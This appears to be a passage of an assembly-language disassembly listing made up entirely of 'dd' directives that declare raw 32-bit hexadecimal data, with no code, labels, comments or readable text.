		dd 0CAA4C0C5h, 0D9C69142h, 4B8FB814h, 69E303A7h, 0C0AA9402h
		dd 9D7A1Fh, 0A608EB70h,	9A6C218Ah, 49616A16h, 0D8507300h
		dd 185B0B6h, 70CABB3Ch,	2053BD0Ch, 0F97CF774h, 0DAD4F100h
		dd 2967B094h, 0D1433E73h, 50ED1F80h, 665AD664h,	2637E2E2h
		dd 0E133D8FBh, 9F380EE6h, 8480C5ABh, 5E76B34Dh,	5CA8A600h
		dd 8F17E945h, 0B2B707CFh, 0C0F5BF35h, 5D333DC7h, 8061A201h
		dd 0E2F118E4h, 24362570h, 9515C22h, 0D4207907h,	9F1C1BF6h
		dd 8DC249h, 9C40F2CDh, 7532A3h,	928F8790h, 0F5238BFDh
		dd 0C06EE000h, 727BFAA1h, 0D0516A1Dh, 80608348h, 53B004B3h
		dd 0B41D4BB5h, 0BB871EC4h, 2B30819Bh, 3E7D9250h, 0EB97DC36h
		dd 0E7CC0B61h, 0EC127BDCh, 62756040h, 33CD313h,	47764AD0h
		dd 28B02061h, 7301A6A5h, 0A29A7B14h, 241205h, 443F0095h
		dd 8AB064B7h, 7E308208h, 8F2EE81Dh, 6C1296Fh, 21A70094h
		dd 28D26227h, 545BC600h, 61DA4D42h, 0BF87007Ah,	40E1C1D8h
		dd 2018CC29h, 0F3386D41h, 0ECAB00A2h, 967C9F5Fh, 4A00DD3Fh
		dd 0CCC9ADF2h, 0EA97235Ah, 92590024h, 673F75ACh, 150017A3h
		dd 278C8F98h, 52D8DBh, 0F9FEB786h, 13AC9057h, 5501FA7Fh
		dd 3EBA1170h, 48E49D43h, 0ED990031h, 0DD186194h, 0E4007D2Bh
		dd 8F1BF49Ch, 3AE79D4Eh, 61003239h, 8EC46663h, 0A80058E0h
		dd 6DE1C334h, 269A023Ch, 564E59h, 6F0F166h, 1E017730h
		dd 0ABA04BEEh, 5D9AE11h, 513B1FCh, 0E848CB71h, 5798C09Dh
		dd 7CEE0EEBh, 431FC800h, 0A62B0F81h, 636A07BCh,	7017BA41h
		dd 0F099C7B8h, 1FE52C00h, 0A0F33D77h, 0FC6700EEh, 0BED24A39h
		dd 0F839A806h, 443A0004h, 0D724660Eh, 47A1077Ch, 0A0B0E24Bh
		dd 4CA26325h, 90612200h, 0F9E41375h, 5DB4188Ch,	0BDD8C009h
		dd 0AA711600h, 8FB724A6h, 0E1CC0021h, 63C7A0CDh, 560F3991h
		dd 7C5894D4h, 0E190B80h, 48F89Dh, 2674A7F3h, 0AFCF2491h
		dd 0BA3EF1Eh, 29DCA280h, 8C7046h, 2BEEF655h, 6DFCBED9h
		dd 41D680Eh, 8069EF2Dh,	0B5CA5E88h, 8ECA5h, 0D5818944h
		dd 0B01FFA53h, 0B8FFD200h, 0FCC923Fh, 0B33B3C7Bh, 0B464B600h
		dd 4205F234h, 0A3AC7700h, 5A2B12C2h, 0BBCF0C56h, 24288AFCh
		dd 82A28100h, 0E39D9BA0h, 2C7A0001h, 0B1E88DD4h, 0E700A3B5h
		dd 92CC199Ah, 12971ABBh, 40211012h, 0A19369D4h,	0D84E7C50h
		dd 0C00C787h, 1849528Fh, 0A0F6BE22h, 0D748964Ah, 39AD0064h
		dd 0C8445ACDh, 12749055h, 9294501h, 0E4A04C54h,	8B1F66C1h
		dd 91096A78h, 2017E7D5h, 0B18047B4h, 0A7B701F4h, 0EFFB5845h
		dd 9D5884E8h, 28D081F5h, 0C74E3FEh, 0AD96E023h,	510E2A79h
		dd 0B124AFh, 0F21876C2h
		dd 0EBEEF4D0h, 2A11AF4h, 20D32C11h, 0F841686Ch,	22306271h
		dd 24C13CA7h, 1795793h,	38840824h, 3DEC245Ah, 0BD147A7Ch
		dd 838DADh, 24A89DFCh, 7B749F2Dh, 3E05004Fh, 7B982BF8h
		dd 0E603EADDh, 0A466C1Dh, 91E98857h, 62C006E0h,	0C84824A2h
		dd 7330AF00h, 97DBAE12h, 788360EAh, 0F653A1D0h,	0B7542900h
		dd 42033718h, 0EB0B007Ch, 0FD26D92Ah, 44301620h, 4CCA3066h
		dd 0E0D715DCh, 0AE02905Ah, 83C311ECh, 93E970E0h, 57EC2877h
		dd 0A62EAC00h, 94CB66C0h, 485D1767h, 8BBC07B6h,	0B02307FFh
		dd 0CC50EED6h, 47E5B105h, 80006185h, 2DFC8912h,	106E6040h
		dd 16A4F6AAh, 62C82801h, 0A1E4C9CBh, 0E8D7D8C4h, 0E6C50014h
		dd 70DD4CF5h, 38488227h, 0CB9700D8h, 3759CC0Fh,	49B0017h
		dd 74AA77C1h, 6D00EAB4h, 70B0C8F5h, 0D87361h, 0FB29AE01h
		dd 1CA36F2Ch, 34142112h, 0A5781400h, 4C228h, 0D56BA0E4h
		dd 37D49732h, 61335005h, 64808372h, 1D0C5FB9h, 0DF4BD63Ah
		dd 0CECA4038h, 75DA3040h, 0F32EA700h, 0B26F3290h, 0C8AD075Bh
		dd 61501429h, 0C61E606Dh, 0FAB6CFE0h, 64F8DA00h, 0A89E75F1h
		dd 83EE0E17h, 5BE07C86h, 0E994538Bh, 68465Ch, 0D13C1F5Ch
		dd 0C874EAh, 8D10380Ah,	0DFB93A5Bh, 1831984Ch, 0BA1A6BBBh
		dd 879D0141h, 4413EEEBh, 224820A7h, 913CE4FEh, 87D3AE33h
		dd 9D9C9E00h, 203265Bh,	19A96C55h, 0CAC08C23h, 8D123E0Eh
		dd 0B300E5E9h, 130B3B94h, 0EA1B008Eh, 814020CEh, 3F04B298h
		dd 0BDC91FADh, 0B71E00EEh, 0F3294A2Eh, 0D45C7E00h, 8786E09Dh
		dd 37360021h, 0B2318D95h, 0F8902AC9h, 0D87D3E00h, 0E49A6A73h
		dd 58B900D3h, 3B7ADE5Eh, 0C60B8C98h, 31BA2Dh, 802EF1CDh
		dd 0DBC90072h, 0D1651EFEh, 0BD014A52h, 698DBC3Eh, 64E86D36h
		dd 0C4FEA7h, 0C93416ABh, 0FB20DA33h, 5B01CEF2h,	4CFF46FAh
		dd 51207FF2h, 0F94916CDh, 0F66C4523h, 5B27C098h, 690F56E6h
		dd 0EB77B410h, 4E82009Bh, 2F96BCh, 75B5F3B2h, 833E7908h
		dd 4D004FF8h, 0CBB9951Fh, 2D44C8Bh, 88D603C7h, 868EB30h
		dd 0AA007AE7h, 446A1843h, 353428h, 3D1C1377h, 147383Fh
		dd 5302E076h, 70DE02FCh, 7852F1h, 38B419D1h, 18AE1363h
		dd 0FC8AFA00h, 878DBB23h, 0D3CA0E0Bh, 4300EB28h, 0E9562ABAh
		dd 0C603E7F0h, 0F79E9CEEh, 55F8B819h, 0DBB10003h, 0AA624F3Ah
		dd 0A10E5128h, 0EFA81E84h, 1BB88088h, 73E5Eh, 6D7F9348h
		dd 1EE7D350h, 64FA3890h, 0A44EE330h, 0B306FCAh,	77EAAF15h
		dd 0A8EB4280h, 0B70017B9h, 0ECDF36C6h, 2E5001CEh, 3C691A1Bh
		dd 0A5560780h, 2D913F17h, 6F42EA00h, 48E2FA0Dh,	0CCE009Dh
		dd 6430A225h, 900031B8h, 0E00557A3h, 2A5946Bh, 0FB8E7A04h
		dd 5050180Dh, 0BE8A1B1Eh, 0B0656700h, 73E03Eh, 57E54182h
		dd 2F114B8Bh, 0CB7E5D00h, 0ADE7C0Bh, 899F063Fh,	88A40E77h
		dd 1BC6E500h, 0D7B8FE53h, 0E0D398E6h, 81E5B03Bh, 6AF0FA86h
		dd 0AF1200BFh, 0BEF005C4h, 0D70003C5h, 91C64EA9h, 7F7240h
		dd 7E56E452h, 8E2CEDE8h, 5A0FA11Dh, 51DECB03h, 8D1BE064h
		dd 22AFABCh, 0AD318FD7h, 40409153h, 0E6001A2Dh,	0EDD6F47Ch
		dd 1FB1CE33h, 41F1329Fh, 0B694EFFFh, 5EE7E819h,	640D8D00h
		dd 47AD7B56h, 0E49F1C61h, 6BFE4259h, 0C0502C57h, 7ABF0E00h
		dd 9BAF01E0h, 81E2008Dh, 5E6EABCFh, 0F7FC87DDh,	0A1C9BD0Fh
		dd 0BEB18072h, 0D65B22h, 0AE51AF8Ch, 61CA4381h,	8D721318h
		dd 0BDEEE4h, 0D5F3DFA4h, 0C7DC7998h, 0E555AB00h, 0D754FECh
		dd 0A860015h, 20092E2Fh, 0BD01487Bh, 403C6E59h,	8D44725h
		dd 1D78ECEDh, 6D1D56h, 0E4A268BFh, 8E76F66Ch, 4D52C500h
		dd 3D7A819h, 0F4FD0791h, 0E039BAE9h, 401CC4FCh,	0D37EA47Dh
		dd 1A8A9C00h, 3153EE5Bh, 0B0E50045h, 0B962E0AEh, 2A00CD13h
		dd 52E4C2D4h, 1DFBB62Dh, 0C0DD594Fh, 0F1800E1Ch, 5001844h
		dd 0C35AC749h, 60D667D3h, 25945046h, 0A9007A4Bh, 0C547D228h
		dd 30DBCBh, 36ACBCDDh, 1EEA05FFh, 910018B8h, 28860FBh
		dd 975EC7h, 9D30F04Ch, 3121CEC6h, 60654100h, 83B6C0D5h
		dd 1C3C7552h, 4015335Dh, 0F571516Bh, 0CE00278Ah, 0EAE5B92Ah
		dd 1F3F26h, 65505C44h, 93615812h, 0BF55F718h, 418DF0h
		dd 47A5BBCBh, 0F2C53F1h, 0A30177EEh, 3DEB6EE2h,	0D8C8C431h
		dd 936F006Ch, 9D66100Eh, 4700B559h, 0D09444B7h,	9E0A3h
		dd 5B968680h, 83B8C8D4h, 9DD6630Fh, 78C0BD7Eh, 49613B0Eh
		dd 74D500EEh, 8B4A3DE7h, 0F04C72E6h, 16750FD3h,	0A3A60E8h
		dd 35FF5AFh, 0B685984Bh, 0F0268C5Ah, 80E181Ah, 76E26031h
		dd 36A750Ch, 0D0AE3CFCh, 84D0F60Eh, 6503771h, 4618AFAAh
		dd 3A11C1D4h, 4A7A0F9Eh, 95411FBCh, 0F8628D24h,	9490D3B7h
		dd 2288BA50h, 0E257A600h, 0E55EAB19h, 4F9E00F7h, 91E6FEB8h
		dd 0F400D6A3h, 0DA9D89Dh, 0EFB7B3Ah, 27435DBh, 803C6224h
		dd 3904FD58h, 4B051001h, 0E0B6D1E5h, 584E49E4h,	101FE8Bh
		dd 0DF7B4D26h, 1EC17A1Bh, 0AEC4C10h, 6A51D52h, 14A80056h
		dd 0A31A0F87h, 715D2000h, 4933B964h, 13DD3CFCh,	0E4423C00h
		dd 60E53622h, 673BBF00h, 0AA4EE6B2h, 0D2EE007Fh, 0D5954796h
		dd 1F0FE05Dh, 8B7CA202h, 4BB880DBh, 8CD3CFh, 3363C035h
		dd 3AFA2852h, 0B6D6003h, 0B051D05Ch, 3E0ECA14h,	0A10F6F70h
		dd 4C62D269h, 30608F2Dh, 4900E976h, 0C8A739EBh,	904F95B3h
		dd 89E801ECh, 0DCA6B1AFh, 0A499F4CEh, 92B0DB17h, 4B0EF4E8h
		dd 6D200A74h, 0D134977Eh, 1D789A00h, 4F6B21E4h,	4329002Ch
		dd 49D7F26Ch, 943F939Fh, 1A04F9A6h, 203EBF56h, 75CA13C0h
		dd 33E13CF4h, 5511DBB1h, 92D0F73Ch, 307EFE10h, 0C26F5B0Eh
		dd 2940DFEFh, 0A4D461A7h, 18E2AFh, 0C984BBFBh, 4E89C4FDh
		dd 12F02B09h, 68B90A1Eh, 7178B000h, 7F25302h, 0D9398583h
		dd 482304Ch, 0CD5C9D07h, 213730B9h, 171B5C1h, 3F2FF193h
		dd 0D417E32Eh, 0F700E085h, 6A5A0529h, 0C0B0F0h,	0D0EFC448h
		dd 474E74D9h, 5D40DD26h, 0BC40231Ch, 8F50133Dh,	0A82650CDh
		dd 454100F0h, 66CA2E4Ch, 1D50E760h, 1900DAB7h, 0ACD27D9Bh
		dd 0FA5A2A8h, 0ABCC01A6h, 81E8E024h, 0F1E7F554h, 0EBE8EB63h
		dd 140A118Fh, 0A8AAEF6Bh, 83FC720Eh, 0E89ED6C6h, 50D19957h
		dd 0AFA44Ch, 0EC830635h, 0DFAD7D1Ah, 1F26A207h,	0B0A03419h
		dd 0B924B2h, 23426A2Dh,	96D522F0h, 0E690AE00h, 0C0F016Ch
		dd 0D7A9004Bh, 87661ABDh, 1E00B281h, 363583F4h,	0C0C231F2h
		dd 0DB264511h, 47009AC4h, 0A1A3D3CEh, 2E8EA027h, 1488A69h
		dd 8B32119Ch, 0AB2C30D8h, 30F5620Ch, 9021185h, 619A1367h
		dd 0A7AC000h, 0AB391CAEh, 62400345h, 0E92178ACh, 0D970A297h
		dd 0B1ACA886h, 397A41h,	7E186715h, 0D425C5DCh, 5EA99501h
		dd 89326EEDh, 10CC8E4h,	5A304054h, 326362D6h, 0DD750284h
		dd 407CC5FEh, 0E6B6A1A7h, 345B00B4h, 0C6FB935Ch, 0BB0A95E3h
		dd 0AC65C19Ah, 1ED2401Dh, 827D9D00h, 7AEEF5h, 504E608h
		dd 89BE6E33h, 38B1B51Ch, 0C51142D8h, 0BD5D08A1h, 30006CB7h
		dd 885FF435h, 1292E09Ch, 6B68433h, 0B83D5A86h, 6070A500h
		dd 14BEB8D7h, 3AD92655h, 832100E8h, 0BF5F3D28h,	0FD9E3601h
		dd 7B8A169Fh, 71BC1FC4h, 88E80C38h, 264840DBh, 8AE0EB09h
		dd 87770E05h, 0C8BCD250h, 0F0F5000Dh, 66C411CDh, 1B0003D5h
		dd 1E8AB773h, 37A5082h
		dd 0DDBC35B1h, 0C2F7D94Bh, 0B449E48Bh, 0FBADCC33h, 0C803Ch
		dd 0BB7375E0h, 1FA27CD2h, 43D32A96h, 4BC7DD1Eh,	75EF97A0h
		dd 8669E700h, 0E70E5F1h, 0F59600E2h, 0F63C8CD7h, 5600A6FBh
		dd 40A5B7CCh, 164B3E1h,	63BFEB5Eh, 0C845A951h, 16005D74h
		dd 333E3AEFh, 15EF805h,	39E138A2h, 20AC2BFDh, 7F00B45Ch
		dd 3CFB4A41h, 16EFD5C7h, 403731A8h, 2AF76144h, 6360BE72h
		dd 86924A72h, 0D790066h, 6B60EF1Fh, 983D7AF0h, 36AA007Eh
		dd 6266EE95h, 4CB8003Ah, 6D1BA5F1h, 9C0A9ED2h, 0D0ACD586h
		dd 0B7973400h, 1698BE1h, 523F32B4h, 0DC457DCEh,	75168790h
		dd 4003018Dh, 0F4FCF6Ah, 93D95080h, 4672E380h, 80E228D3h
		dd 7366E700h, 6257271Ch, 2E5E0023h, 0F60A84A9h,	55001E1Fh
		dd 0DF96CB9Bh, 498D48Ch, 58DDC646h, 597890FFh, 521754BFh
		dd 140260ABh, 0B22F2Eh,	0DE124456h, 0B10804Dh, 80EF9DF5h
		dd 103E610Ch, 8C19CF26h, 87EC12C0h, 53103F13h, 0E80976B7h
		dd 5F014DB2h, 70390DCEh, 0BC587D4Ch, 4ACA0EF5h,	8A74013h
		dd 0C289C0h, 2F8A7170h,	321E8488h, 411EB174h, 18C0F6CEh
		dd 0C2E2E320h, 581F0096h, 0C645CD4h, 0A9483802h, 0DCB80730h
		dd 8F307C26h, 13E3296h,	196E0853h, 0D424034Bh, 3100B7A4h
		dd 20D5E35Dh, 5882297Ah, 0F004D3Dh, 25BC1BFh, 0B60B9A40h
		dd 8E0DBD5Ch, 0A5A681E4h, 3620CA38h, 0AEC90FF6h, 0C7E103D7h
		dd 21B915DAh, 39A864DCh, 0A9C1F600h, 0D8DC04A0h, 0FC3658EEh
		dd 601A2703h, 0A5C81284h, 0A17792D7h, 32213A15h, 452E03B4h
		dd 0B0191BCBh, 89E4C4h,	0ABA63D91h, 2F52C577h, 12597C0Fh
		dd 6C831298h, 5BD3D922h, 3A5C50EAh, 3500803Eh, 785C0F5Eh
		dd 2607FF14h, 4293D8C2h, 76724431h, 43AAC540h, 34B207E7h
		dd 0D0B41E8Eh, 49527AE4h, 8429AB00h, 0E86A9909h, 0AC855070h
		dd 62ED1F17h, 883751h, 0E5AFFECEh, 0EC783260h, 381455AEh
		dd 8A0091F7h, 0F5314F12h, 650702EBh, 8CD645A3h,	9D04FF90h
		dd 0C5BF1CDFh, 0A8DE8255h, 0C04063B8h, 5A077488h, 1A79E467h
		dd 0B43035E7h, 0ED8C5Dh, 0C44C541Bh, 0F2166395h, 0CC11B229h
		dd 95EF230Eh, 16A053A0h, 200341A5h, 0F80B9815h,	0A00DB7h
		dd 6703562Ah, 0D9A69AF3h, 80ACE23Ch, 2DD7DB1h, 104964h
		dd 87D87335h, 6F9C9AEh,	4DCB3600h, 83F317B5h, 138A00E9h
		dd 0DA7999B0h, 1460AA1Ch, 0D92E2D18h, 0A7FE00D0h, 52CB4E5Ch
		dd 0D079BC5h, 6C53CD2Fh, 0AE1495h, 3028A7F1h, 12018BF8h
		dd 19FD444h, 0F6CC1861h, 0F83F86Ch, 557ABF0Ah, 50F32AE0h
		dd 0FC5CBC75h, 0E7F700E6h, 31588EC9h, 106200CCh, 651C88E2h
		dd 30010766h, 0CD94369Ah, 904025A6h, 1C3FA796h,	52CC57CAh
		dd 0E8271048h, 0A03AF10Eh, 0D0C28004h, 0C08B1100h, 787C700h
		dd 0A8CC6AAEh, 93D13809h, 83403280h, 1DE2015Bh,	8D0F7E00h
		dd 3F8B87FCh, 71740082h, 0FE5B9112h, 8F079331h,	30BE69EDh
		dd 3CBE450h, 1DD80070h,	716C4E04h, 0AE093D44h, 62ADF4CFh
		dd 3CAD60BCh, 8846242Dh, 0AFA7D0B4h, 97D30900h,	0D4C8BD58h
		dd 0C6FD185Eh, 13EC9887h, 9E470A04h, 0AC92194Fh, 4441210h
		dd 5E20450Ch, 351FF060h, 0C040EA2Ah, 0B1688CCh,	0DCD39900h
		dd 30C2AFEDh, 0D84702B3h, 98205E57h, 379A5868h,	250C670Ch
		dd 4FDA43h, 0C8D2359Bh,	0C09810ACh, 63D1DA00h, 2D386C02h
		dd 744F00F2h, 3095E181h, 7C752546h, 43292703h, 88198B0Ah
		dd 5DFACCh, 0C74C1D4Dh,	6E9D7C05h, 67F23C03h, 90CB5BAEh
		dd 0B0576165h, 96370E64h, 0E1190804h, 107C23A9h, 22016FE1h
		dd 0A056C307h, 0C09470D9h, 0E00014FCh, 0C1F79360h, 0F56688h
		dd 57E5DCD2h, 2A5A2F39h, 36DDD700h, 81C52549h, 0DB61C466h
		dd 8034E450h, 79FC7040h, 0E0AA4F56h, 722407DBh,	0B1002CB0h
		dd 0C36C62F3h, 128700F5h, 6168ACF2h, 20C0B5D2h,	2A83D055h
		dd 238A0049h, 9791800Eh, 0B260E550h, 0B4C162A8h, 395E78BEh
		dd 0B002687h, 0C73A55C4h, 751680F5h, 0B80005C1h, 0D42ECCACh
		dd 73CE3B8Bh, 4C1B4160h, 0A41CA5F3h, 5A80F201h,	76FCA76Ah
		dd 4EE100C9h, 3064C534h, 690016FDh, 0A4F8A650h,	6CFE90h
		dd 0BE1DFF53h, 29945CEEh, 18ADCA12h, 51705000h,	8D9E71h
		dd 0A6D2660Ch, 0B5766F27h, 42D12F00h, 93A1B0BAh, 6DEF00F5h
		dd 64D49C0Dh, 0D31E7B17h, 7980FA91h, 9548DD15h,	9F9300F9h
		dd 83B6C821h, 6B0040A6h, 0C002625Dh, 9E6E60h, 4798D585h
		dd 0F052DDC9h, 80094000h, 0ADE6322Dh, 0F15000A3h, 0BD218D6Ch
		dd 5D3A64F7h, 0D28E8098h, 6DBE8B7h, 0CCA70972h,	0B0202F38h
		dd 9B70312Dh, 300DAE6h,	8E2A9A1Ch, 16F40F34h, 4045FFh
		dd 90CCE3D4h, 0EA00DBB6h, 7FC9C099h, 1979A5Ah, 1F6115E5h
		dd 204A1026h, 0EB70AE30h, 31130205h, 9482693Dh,	0A4606014h
		dd 9754396Fh, 3F9FF381h, 0E8FDA8DBh, 0B05C280Ch, 4DA90060h
		dd 5D9405ABh, 1F02003Dh, 0F9A18155h, 0CF004895h, 2FA3758Bh
		dd 0EA0CBFh, 9DBFBAEh, 1B574C2Ah, 6993FD1Ch, 2D49214h
		dd 8EF8D53Ch, 4D4C001Fh, 611EA333h, 72C00450h, 91988D53h
		dd 80553EFBh, 47D22C80h, 23A9F8E1h, 7BB0A800h, 64BFA64Eh
		dd 5790A15h, 2D8F69Fh, 1DA82F1Bh, 559AD4A0h, 855117h, 6D27033h
		dd 5074627h, 0FB5E974Bh, 0B46ACB90h, 0D374001Ch, 8BE7DE4Eh
		dd 0CD73E140h, 7BA44A00h, 7C07625Fh, 82D900B7h,	3C191EB6h
		dd 0AA00DA74h, 10B3EBFBh, 0DB4104h, 6D24A111h, 9B5CD1B2h
		dd 53F11B00h, 0E9712607h, 73280E4Dh, 662043F0h,	0CE84F810h
		dd 0A7339D00h, 1F0CB65Eh, 6F8F1C57h, 78B480D4h,	19F6B82Ch
		dd 79CF058h, 381088ECh,	5C07D420h, 47F7A13h, 0D5439425h
		dd 0CB84D02Ch, 0DE00087Dh, 0FD10BBD4h, 0E41B0EDDh, 1C2008Bh
		dd 0C35CAE20h, 87001F75h, 60E1DF45h, 0FEE7FCh, 9A58ADC2h
		dd 0F8B12B0Dh, 0BB8BEB00h, 39A18F49h, 0A20200D7h, 38AD4C07h
		dd 0A326455Bh, 84406086h, 501999F7h, 1C49DCACh,	801C790Ah
		dd 627DD1ECh, 9401BCDDh, 47FF9092h, 0E0C27AB4h,	0CBDCF17Bh
		dd 0BC0150D2h, 7B582B9Ah, 0B8F4E0C3h, 879152h, 61BCDF42h
		dd 82FD660Dh, 0DC46AD00h, 0BF2CB7E6h, 0A49581Bh, 0DB932407h
		dd 0D65A4084h, 7700B50Dh, 7BDAEDE8h, 7A03F7D7h,	0E8107E0h
		dd 715B4C36h, 872324FAh, 73658368h, 6B8D3E80h, 256D013Ah
		dd 0AAF9ED7Dh, 8C60741Dh, 5DB2C900h, 75131731h,	0E86B2687h
		dd 0C6D0130h, 20CC1EB3h, 0B916EA02h, 0BC000376h, 31C43ED3h
		dd 3B4A02B5h, 5C70C70Bh, 99C9CC60h, 0DC13EE26h,	1E390280h
		dd 0FD19207h, 0F73627FCh, 3A0C0777h, 3B1FC0F6h,	126353BAh
		dd 0D0E59131h, 1DB1D8A6h, 0D0CE56h, 607CBF6Ch, 6F0044D4h
		dd 0C0595DFBh, 781CC16Ah, 62770071h, 0EC99CFA3h, 0D5006819h
		dd 0C6E059B4h, 0E3D3316h, 450227DEh, 1E1188F8h,	71EB6318h
		dd 0EA95770h, 0C553CEFEh, 97325E20h, 6FEF3C7h, 0BD00E892h
		dd 3114139Dh, 3A0B0726h, 0E300FE9h, 45E2B759h, 90AFF100h
		dd 636CC7FAh, 1451004Fh, 0D46BD3BDh, 4D1E8733h,	6DDDB3C2h
		dd 72C3C1DEh, 0D076AEF6h, 3E163E0Ah, 0A98E6104h, 4140F589h
		dd 66CDA447h, 0E5206F60h, 395AD6h, 94F58F95h, 40600458h
		dd 0E04930C7h, 0BB1E2670h, 0E7F47244h, 0CDA31883h, 407C61FFh
		dd 0F9F5F3Ch, 110D7DCh,	0D5E0FC18h, 19473600h, 382EB674h
		dd 813BDC95h
		dd 615C9BA3h, 188C8F97h, 0D7218EF0h, 0A38986F1h, 751D0BDh
		dd 0CEF5D9E7h, 0F4D1CC1Ah, 8B1D5200h, 5B685989h, 0F141C788h
		dd 0BDD150BBh, 48DF41DAh, 926FB801h, 22F4CD25h,	587034F6h
		dd 0C6768098h, 8D34524Ch, 600160DFh, 621B2DCDh,	8391E8h
		dd 31FB7ED9h, 2825B496h, 17A53B07h, 7B00210Ah, 4A36Ah
		dd 0E22B7112h, 0DDD25EB8h, 1E7DF438h, 0D00E4814h, 6049E642h
		dd 0F387391h, 0E3820EE0h, 0F10E760h, 7F2DCC06h,	176A8633h
		dd 0C7950229h, 0BAD978B8h, 0B7A994B8h, 0A5515A01h, 88D44A1h
		dd 39B9A3C4h, 67832969h, 85ABB577h, 5C571818h, 0E6B7D850h
		dd 0B36E3ED6h, 0ABA20170h, 3B474514h, 0B52C438Bh, 0D0D85D99h
		dd 59006748h, 8799C728h, 0FE7AB6h, 8469E10Bh, 60B974DBh
		dd 1D038B76h, 54FFAED1h, 9D682C93h, 94A21E4Eh, 7B009FE5h
		dd 8C5092BCh, 0A0004CFCh, 7D40C6A9h, 0A01C5FB9h, 0F4E1AD5h
		dd 0C2DEE637h, 83CC360h, 4150CDF2h, 0E2840D8h, 0A10C508Ch
		dd 11695B72h, 0DD65017Ah, 0C725DE85h, 0B59C50BDh, 50E9DAB2h
		dd 0D062D9B8h, 4570F500h, 2A427BBDh, 0C3610764h, 9051DD7Dh
		dd 1EBFE334h, 38FEC100h, 0EAB29565h, 2BE00627h,	183E5C43h
		dd 0F200DD7Dh, 3142925Ah, 613FD5B3h, 0C73E300Ah, 0FE08801Dh
		dd 2BF0F3ACh, 0F8772C3h, 47A2ECBFh, 3C4D4383h, 168B480Fh
		dd 77D8C0E7h, 3888666Dh, 0EB80466Ah, 0FF34E9C7h, 0CE001D62h
		dd 0A1283E49h, 25FE54Eh, 0BEC45DA4h, 2360EE7Bh,	1FB0D614h
		dd 7DAA751Fh, 7360E080h, 773864h, 0FD491DEAh, 0EA774FCh
		dd 8BC0E500h, 61C78565h, 589053h, 5DFDAED7h, 6722B6E2h
		dd 95D33F06h, 7548FB62h, 728F1E97h, 75B60064h, 0B96A1E55h
		dd 0F20066E2h, 2D26614Ch, 3B88A2B4h, 0C6878020h, 0AB4247A3h
		dd 75FE0077h, 1C970BB5h, 0C0463ABAh, 0B8323FE6h, 0B9E69666h
		dd 1B0604A7h, 10BDCDh, 0C8AA2C2Eh, 62821397h, 80369000h
		dd 0BBAF843Eh, 0A433071Bh, 762FCF17h, 762229A8h, 82CC2265h
		dd 74112742h, 287A289Eh, 948B7FF6h, 0EE74D640h,	5100B06Ch
		dd 2F49FF2Ch, 120BABDh,	3360BBB7h, 0D108C49Ah, 0CCA3FC88h
		dd 12DA7100h, 4B6BDB03h, 4DA2005Dh, 4E35996Ah, 59000FFFh
		dd 0C8301A19h, 39F483Ch, 508D2851h, 0F900B1DFh,	0CA328979h
		dd 556BBBh, 44F90962h, 83731526h, 7E02EA00h, 8354D32h
		dd 39EB005Bh, 77197081h, 14003655h, 0ED26A06Dh,	0B2E685h
		dd 0DF4B106Ah, 7EF60293h, 19C0CF7Fh, 0C638E825h, 16242C2Ch
		dd 497F006Fh, 2642F304h, 0B4813100h, 0FB4D55D1h, 0BFCC30A5h
		dd 6CB076A0h, 0C7EFE800h, 7465BD64h, 0C0DA0037h, 0D5DE13FEh
		dd 9B001904h, 0EC617D7Eh, 0ABD39h, 0B2274130h, 246BEE3Fh
		dd 79AFB407h, 956064F5h, 4A056Ah, 89DC709Ah, 0DEDF114Bh
		dd 0D94F5000h, 56E058EDh, 0EA790Ah, 251FA32Dh, 492195FAh
		dd 11BA8500h, 572F981Dh, 3FDF03FCh, 0BFB08BD2h,	0D012C08Fh
		dd 8607171Bh, 0DE0E13FBh, 0A57EB751h, 0C92C40FEh, 0BCF100E4h
		dd 8FFD41E0h, 0F005FF9h, 0C727D08Ch, 18AE2B3h, 7983D9D4h
		dd 609DF32Fh, 0D31CA873h, 0AD405BF6h, 66FA3DDCh, 0A89F5EA6h
		dd 0F01828F2h, 0D94CD80Fh, 68EB6034h, 0EE15E3h,	335305D7h
		dd 0BE79096Eh, 0EFA8970Fh, 6F540095h, 7D803ECh,	0AB9061F7h
		dd 4CEED0CBh, 4F0723EDh, 0DAB7D388h, 0AE605050h, 12E7D7Bh
		dd 7CD9D60Dh, 0F0E18A99h, 90052A1h, 0B244C554h,	5F1BE8h
		dd 569A72Eh, 0D8728039h, 0CB6D1800h, 0AB583AAh,	0F8015182h
		dd 5C2C0h, 0E971C4F8h, 0A2D54DD9h, 3D0CD4F2h, 48FC9E24h
		dd 21C00127h, 0CE368063h, 30E5E8C3h, 26F7FA03h,	0D0E86FECh
		dd 495672Ch, 3E3DC43Fh,	6DE09076h, 5E77ADD6h, 4B30A200h
		dd 0E824348Ah, 6E1E00B5h, 0F0E606BFh, 377EA98Bh, 4B839400h
		dd 5736ADC7h, 116401BBh, 4204BD3Dh, 100DE099h, 0B405E028h
		dd 0E7A07C08h, 65DC8435h, 7E7DC0DEh, 550E0379h,	20F4078Ah
		dd 0C09AA977h, 0FF878BCh, 19D6B4Ch, 0DCD209BEh,	0BB638803h
		dd 0EADA2AE8h, 5FC4C00h, 0DF7DD375h, 44E70EF2h,	0B420CE8Fh
		dd 90A9FF2Eh, 215FE302h, 40DA7718h, 9C6F35h, 35F41E91h
		dd 36BCF049h, 733049B0h, 0E54FAAEFh, 6428C71Ch,	74E4D099h
		dd 770F8780h, 0C3B4C3CFh, 0B026F101h, 0B741ECh,	909F6EE3h
		dd 92E447BFh, 6A6FF300h, 0E76072DCh, 13D770FEh,	4B4F540h
		dd 80258A60h, 0CC88FB41h, 613D19E2h, 92B28056h,	0A497C086h
		dd 6E171235h, 4FE41FBCh, 7340888Bh, 0DAC828E8h,	80C738h
		dd 2939A3F4h, 1012ACh, 57D90E82h, 20086124h, 53F6C100h
		dd 5B9F72C6h, 2D9400AEh, 0A3150535h, 0B10106C7h, 0F79A4E6Ah
		dd 97FC829Dh, 1E589252h, 0C198AC58h, 8E6277Eh, 0E7C3FCB3h
		dd 0C90558h, 59711FAAh,	229AF8Ah, 9D126FA2h, 4C09746h
		dd 6A005DD9h, 0D279BD52h, 98315027h, 18D60074h,	29E81174h
		dd 0A50073ABh, 0ACB1253Bh, 38FC7DF7h, 0F963ADh,	9DDEED78h
		dd 7106078Dh, 5533FEC3h, 6B219086h, 87DD0003h, 5E14152Fh
		dd 5A3B7248h, 29BB07CCh, 30C1F946h, 23ECBA09h, 0D97A90h
		dd 67C92016h, 0CDD42E5h, 8ED54E3Fh, 4086F8FFh, 5D6C0DC3h
		dd 0BD009760h, 1CA11811h, 0A6EA8703h, 893EAB64h, 20D005C8h
